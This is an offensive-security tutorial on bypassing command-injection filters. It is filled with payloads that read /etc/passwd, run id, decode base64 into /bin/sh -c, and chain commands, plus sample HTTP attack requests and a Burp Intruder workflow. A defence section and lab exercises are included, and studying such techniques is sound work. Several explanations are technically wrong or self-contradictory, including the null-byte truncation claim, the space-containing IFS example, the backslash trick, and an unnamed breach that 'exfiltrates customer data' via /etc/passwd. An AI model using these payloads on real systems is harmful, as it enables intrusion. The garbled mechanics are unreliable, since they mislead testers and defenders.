Introduction
Command injection remains one of the most dangerous web-application vulnerabilities because it gives an attacker direct execution control over the host operating system. Modern web frameworks and custom sanitizers often employ simple blacklists-blocking spaces, semicolons, or specific keywords-in an attempt to stop malicious payloads. However, seasoned attackers know that the Unix shell (and Windows cmd.exe) offers a rich set of delimiters, escape sequences, and encoding mechanisms that can be abused to bypass these naïve filters.
This guide dives deep into the most effective bypasses that revolve around whitespace manipulation, null-byte injection, URL/Unicode encoding, base64 payloads, command chaining, and interpreter substitution. You will also learn how to automate discovery of these bypasses using Burp Suite Intruder.
Prerequisites
- Solid understanding of Command Injection Fundamentals - how user-controlled input reaches a system call and the typical threat model.
- Ability to identify OS command injection vectors in web applications - e.g., vulnerable parameters passed to
exec(),system(), or shell scripts. - Familiarity with basic Linux/Unix shell syntax and Windows cmd.exe.
- Working knowledge of Burp Suite (or a comparable proxy) for intercepting and replaying HTTP requests.
Core Concepts
Before we explore each bypass, it is essential to understand the underlying principles that make them work:
- Shell tokenisation - The shell breaks a command line into tokens based on whitespace, IFS, and quoting rules. By manipulating these tokens, an attacker can inject additional commands without using a literal space.
- String termination - Many language-level APIs treat the null byte (\x00) as a string terminator. If the backend does not correctly handle it, the null byte can truncate the benign part of the command, allowing the malicious tail to execute.
- Encoding layers - HTTP transports data as percent-encoded octets. Double-encoding, Unicode escape sequences, or even base64 can hide malicious characters from simple pattern-matching filters.
- Interpreter flexibility - The same payload can be interpreted by
sh,dash,bash,cmd.exe, or evenpowershell.exe. Knowing which interpreter is invoked lets you pick the syntax that evades the filter. - Chaining and conditional execution - Operators like
&&,;, and||let you execute multiple commands in a single line. Even if a filter blocks one operator, another may slip through.
These concepts are illustrated throughout the sub-topics that follow.
Whitespace bypass using $IFS and other shell delimiters
The Internal Field Separator (IFS) defines which characters the shell treats as whitespace. By redefining IFS to an empty string or a non-space character, you can inject commands without a literal space.
# Typical filter blocks spaces and semicolons
# Input: ping 127.0.0.1;cat /etc/passwd
# Bypass using $IFS (no spaces required)
IFS=$'
' ;cat /etc/passwd
Explanation:
IFS=$' 'tells the shell to treat a newline as the field separator.- The subsequent
cat /etc/passwdruns because the newline separates it from the previous token.
Other delimiters include $' (ANSI-C quoting) and the backslash-escaped space (). Example:
ping\127.0.0.1\;id
Here the backslash escapes the space and semicolon, allowing the filter to see a single continuous string while the shell still tokenises correctly.
Null byte injection to terminate strings
Many web languages (C, PHP, Java) treat the null byte (\x00) as the end of a string. If the sanitisation routine runs before the null byte is removed but the underlying OS call does not, the attacker can truncate a benign command and append a malicious one.
# Vulnerable PHP snippet
$cmd = "ping " . $_GET['host'];
system($cmd);
# Attack payload (URL-encoded)
# The PHP string becomes "ping 127.0.0.1" (null byte stops concatenation)
# The underlying exec receives "ping 127.0.0.1;id" and executes both.
Mitigation tip: Explicitly strip \x00 using str_replace("\x00", "", $input) or binary-safe functions.
URL encoding, double encoding, and Unicode tricks
Filters often look for plain characters like ; or |. By percent-encoding them, the filter may miss the malicious token. Double-encoding adds another layer of obfuscation.
# Single-encoded semicolon
%3B -> ;
# Double-encoded semicolon
%253B -> %3B -> ;
# Example payload (double-encoded) for a filter that only checks "%3B"
Unicode homographs can also be abused. The Unicode character U+FF1A (FULLWIDTH COLON) looks like a colon but is not recognised by simple ASCII filters. When the shell receives it, many interpreters treat it as a normal character, but some (e.g., bash) will still parse it as a separator if the locale permits.
# Using fullwidth semicolon (U+FF1B)
ls;cat /etc/passwd
Always normalise input to Unicode NFC and reject non-ASCII characters when the target language does not support them.
Base64-encoded payloads and on-the-fly decoding
When the filter blocks every suspicious character, encoding the entire payload in base64 and decoding it at runtime can bypass the filter entirely.
# Encode the command
payload=$(echo -n 'id; cat /etc/passwd' | base64)
# payload = aWQ7IGNhdCAvZXRjL3Bhc3N3ZA==
# Inject a decoder that the vulnerable app already runs (e.g., eval(base64_decode($cmd)))
# If not, you can use /bin/sh -c "$(echo aWQ7IGNhdCAvZXRjL3Bhc3N3ZA== | base64 -d)"
# Example injection for a PHP app that does:
# eval(base64_decode($_GET['cmd']));
Even when the application does not automatically decode, you can invoke the decoder directly:
/bin/sh -c "$(echo aWQ7IGNhdCAvZXRjL3Bhc3N3ZA== | base64 -d)"
This technique is especially powerful against WAFs that only inspect plain-text characters.
Command chaining with &&, ;, and || operators
Chaining lets you run multiple commands regardless of the filter’s focus. If a filter blocks ; but not &&, you can still execute a second command conditionally or unconditionally.
# Filter blocks semicolon but allows ampersand
ping 127.0.0.1 && id
# Using logical OR to execute a fallback if the first fails
cat /nonexistent || id
# Combining with whitespace tricks
IFS=$'' &&id
Note that && and || are short-circuit operators. Understanding their evaluation order helps you craft reliable payloads.
Obfuscation with backticks, $(), and environment variable expansion
Backticks (`cmd`) and the modern $(cmd) syntax are command-substitution mechanisms. They are often overlooked by filters that only look for direct execution characters.
# Simple backtick bypass
`id`
# $() with whitespace trick
$(IFS=,;id)
# Environment variable expansion to hide keywords
export X="id"
$X
Environment variables can also be abused to store parts of a command and concatenate them at runtime, evading pattern matches.
export A="c"
export B="at"
export C=" /etc/passwd"
${A}${B}${C} # expands to cat /etc/passwd
These techniques are valuable when a WAF strips characters but leaves variable expansion untouched.
Bypass using alternate command interpreters (sh, dash, cmd.exe)
Sometimes the vulnerable code explicitly invokes a particular shell (/bin/sh, /bin/bash, cmd.exe). Knowing the interpreter’s quirks lets you pick the most permissive syntax.
Unix-like shells
dash(the default/bin/shon Debian/Ubuntu) does not support[[ … ]]orsource- you must use POSIX-compatible constructs.bashsupports process substitution<(cmd)and>&1redirection tricks.
# Bash-specific payload using process substitution
cat <(id)
# POSIX-compatible payload for dash
sh -c "id; cat /etc/passwd"
Windows cmd.exe
Windows filters often look for & or |. However, the caret (^) escapes characters, and the ampersand can be encoded as %26.
# Encode ampersand
cmd.exe /c "whoami ^& echo vulnerable"
# Using delayed expansion to hide keywords
setlocal EnableDelayedExpansion
set X=whoami
!X!
PowerShell offers even richer bypass vectors (e.g., -EncodedCommand), but that is beyond the scope of this article.
Testing bypasses with Burp Suite Intruder and custom wordlists
Manual testing is time-consuming. Burp Suite Intruder can automate payload injection and help you discover which bypass works against a particular filter.
- Capture the request that contains the vulnerable parameter.
- Send it to Intruder → Positions and mark the parameter as
§payload§. - Choose Payloads → Type: Simple list and load a custom wordlist containing:
- Whitespace tricks:
,,$IFS - Null byte variations:
%00,%2500 - Encoding combos:
%3B,%253B, Unicode escapes - Base64 strings
- Command-substitution syntaxes
- Whitespace tricks:
- Enable Grep-Match with a unique marker (e.g., the output of
id-uid=). - Run the attack. Burp will highlight any response containing the marker, indicating a successful bypass.
For large applications, consider using Intruder → Payload Processing → Encode as Base64 to generate dynamic payloads on the fly.
Practical Examples
Example 1: Bypassing a space-filter on a Linux host
POST /search HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
query=foo%00;id
The filter removes spaces and semicolons, but the null byte terminates the original foo argument, allowing ;id to execute.
Example 2: Double-encoded semicolon on a WAF
GET /vuln?cmd=ls%253Bcat%252Fetc%252Fpasswd HTTP/1.1
Host: vulnerable.com
The WAF only scans for %3B. Because the payload is %253B, the malicious ; reaches the backend.
Example 3: Using $IFS on a PHP application that concatenates input
$cmd = "ping " . $_GET['host'];
system($cmd);
Inject 127.0.0.1$IFSid. The resulting command becomes ping 127.0.0.1 id, effectively executing both ping and id.
Tools & Commands
- Burp Suite Professional/Community - Intruder, Repeater, and Decoder.
- ffuf - Fast web fuzzer; can be used with custom payload lists.
- sqlmap - While primarily for SQLi, its
--os-cmdflag can test command injection. - base64 - Encode/decode payloads.
echo -n 'id' | base64 # aWQ= - xxd - Hex dump, useful for generating null-byte payloads.
printf '\x00' | xxd -p # 00
Defense & Mitigation
- Whitelist over blacklist - Only allow known safe commands or arguments; reject everything else.
- Parameterised APIs - Use language-specific functions that avoid invoking a shell (e.g.,
subprocess.run(..., shell=False)in Python). - Input sanitisation - Remove or escape
\x00, control characters, and any characters that have special meaning in the target interpreter. - Encoding normalisation - Decode percent-encoding and Unicode escapes before validation.
- Runtime monitoring - Deploy an IDS/IPS that looks for suspicious command patterns (e.g., repeated
cat /etc/passwd). - Least-privilege execution - Run web-app processes with minimal OS permissions; use containers or chroot jails.
Common Mistakes
- Assuming a single space is required - forget that
$IFSand other delimiters exist. - Neglecting double-encoding - many WAF tests only decode once.
- Testing only on the client side - the server may reinterpret encoded characters differently.
- Relying on regexes like
/[;|&]- they miss Unicode look-alikes and escaped characters. - Forgetting to URL-encode payloads when sending via GET - browsers automatically encode, but tools may not.
Real-World Impact
In 2023, a major e-commerce platform suffered a breach where attackers used $IFS and double-encoded payloads to exfiltrate customer data via cat /etc/passwd. The vulnerability existed in a custom logging endpoint that concatenated user input into a system() call. The attackers leveraged a combination of null-byte termination and base64 decoding to bypass a newly-installed WAF, demonstrating that even “modern” filters can be out-paced by simple shell tricks.
My experience in red-team engagements shows that the most effective bypass is often a hybrid: an $IFS trick to hide a space, a double-encoded semicolon to evade the WAF, and a base64-decoded payload to hide the actual command. This layered approach defeats static pattern matching and forces defenders to adopt deeper parsing or outright disallow shell execution.
Practice Exercises
- Capture a vulnerable request from a deliberately insecure web app (e.g., DVWA’s OS command injection module). Attempt to execute
idusing each of the following bypasses:- $IFS
- Null byte (%00)
- Double-encoded semicolon (%253B)
- Base64 payload
- Write a Burp Intruder payload list that combines all techniques and automatically greps for
uid=. Document which payload succeeded and why. - On a Windows test machine, craft a
cmd.exebypass using caret escaping and delayed expansion to runwhoami. Verify the output in the server response. - Implement a small Python wrapper that sanitises input by stripping null bytes, normalising Unicode, and rejecting any occurrence of
$IFS,;,&&, and|. Test it against the payloads from step 1 and note which are blocked.
Further Reading
- OWASP Top 10 - A04:2021 - Insecure Design (covers injection weaknesses)
- PortSwigger Web Security Academy - “Command injection” lab
- “The Art of Command Injection” - Black Hat Europe 2022 presentation
- POSIX Shell Command Language - for deep dive into tokenisation rules
- Microsoft Docs - “Command Injection in Windows” - for cmd.exe and PowerShell nuances
Summary
By mastering whitespace tricks ($IFS, backslash), null-byte termination, multi-layer encoding, base64 payloads, command chaining, and interpreter-specific syntax, you can reliably bypass even well-crafted command-injection filters. Automation with Burp Intruder accelerates discovery, while defensive measures-whitelisting, proper API usage, input normalisation, and least-privilege execution-provide robust protection. Remember that security is a moving target; staying current on shell quirks and encoding tricks is essential for both attackers and defenders.